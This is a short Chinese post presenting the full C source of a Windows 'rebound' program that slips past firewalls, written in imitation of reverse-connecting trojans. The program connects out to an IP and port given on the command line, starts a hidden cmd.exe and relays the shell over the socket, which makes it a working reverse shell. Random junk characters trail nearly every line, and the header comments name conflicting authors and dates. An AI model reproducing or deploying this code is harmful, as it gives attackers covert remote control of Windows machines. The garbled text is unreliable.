这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j>O!|V
oazy%n(KZ
/* ============================== 6$5SS#
Rebound port in Windows NT 8sU}[HH*1
By wind,2006/7 IoxdWQ4]A
===============================*/ iRI7x)^0"z
#include s,8g^aF4
#include Hg+bmwM
8^qLGUxz
#pragma comment(lib,"wsock32.lib") 10..<v7
R5rCCp
void OutputShell(); l7S&s&W @
SOCKET sClient; =BgQSs/^c
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tZN'OoZ
Wo/LrCg
void main(int argc,char **argv) aq]bF%7
{ KiMEd373-
WSADATA stWsaData; &}b-aAt
int nRet; (x8D ]a
SOCKADDR_IN stSaiClient,stSaiServer; $&FeR*$|g
0'II6,:
if(argc != 3) hWiBLip,z
{ \aGTi
pB
printf("Useage:\n\rRebound DestIP DestPort\n"); x|A{|oFC
return; 6iJ\7
} tQ(gB_
2~!+EH
WSAStartup(MAKEWORD(2,2),&stWsaData); &&|c-mD+*
T']G:jkb
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I:o.%5)
pa6-3c
stSaiClient.sin_family = AF_INET; z5IdYF?
stSaiClient.sin_port = htons(0); c~n:xblv
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ),U>AiF]
$w
,^q+
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kSU]~x
{ E3 aj
printf("Bind Socket Failed!\n"); m 3"|$0C~
return; Tf.DFfV#y
} K`twbTU
FSkz[D_}
stSaiServer.sin_family = AF_INET; s )V<dm;T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); njBK {
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); DBZ^n9
P(~vqo>!
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f
_*F&-L
{ kPFqsq
printf("Connect Error!");
bjB4
return; 6e:#x:O
} .#}`r`/
OutputShell(); S2"H E`
} vUgMfy&
yq\p%z$:
void OutputShell() |eFce/
{ g+/m:(7[s|
char szBuff[1024]; "tg?V
SECURITY_ATTRIBUTES stSecurityAttributes; pcO0xrI
OSVERSIONINFO stOsversionInfo; vFl06N2
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L
[=JHW
STARTUPINFO stStartupInfo; I@o42% w2
char *szShell; <P1x3
PROCESS_INFORMATION stProcessInformation; {|/y/xYgy'
unsigned long lBytesRead; "'*w_H0
Ggp. %kS6F
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J=AF`[
?bH!|aW(H
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /nVGr]t_pj
stSecurityAttributes.lpSecurityDescriptor = 0; h4k.1yH;
stSecurityAttributes.bInheritHandle = TRUE; rnS&^
\"?5CHz*
}(Dt,F`
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *_!}g
]
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); h5VZ-v_j
F4
:#okt
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FR? \H"'x
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2H2Yxe7? -
stStartupInfo.wShowWindow = SW_HIDE; PNhxF C.
stStartupInfo.hStdInput = hReadPipe; ad,pHJ`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1_6oM/?'
/zZ";4
GetVersionEx(&stOsversionInfo); 7':qx}c#!1
b*W01ist
switch(stOsversionInfo.dwPlatformId) 8$V:+u
{ MtKM#@
case 1: 'MY0v_
szShell = "command.com"; XPsRa[08WK
break; .|z8WF*
default: j55;E
E!
szShell = "cmd.exe"; {<y.G1<.
break; GR>kxYM%q
} Hw
1cc3!
Rr6}$]1
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BoHpfx1C
CH+mzy
send(sClient,szMsg,77,0); GLE"[!s]f
while(1) %e%VHHO|
{ ,7mB`0j>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \9`76*X6
c
if(lBytesRead) V"DilV$v
{ 0m
7_#g4$L
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qpXsQim$~
send(sClient,szBuff,lBytesRead,0); R.$1aqA}
} 8(|lP58~
else JJVdq-k+`
{ #f-pkeaeq
lBytesRead=recv(sClient,szBuff,1024,0); r`5svY
if(lBytesRead<=0) break; I*hzlE
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VFLW@
} \ICc?8oL
} y;xY74Nq
w
return; ^M~Z_CQL2
}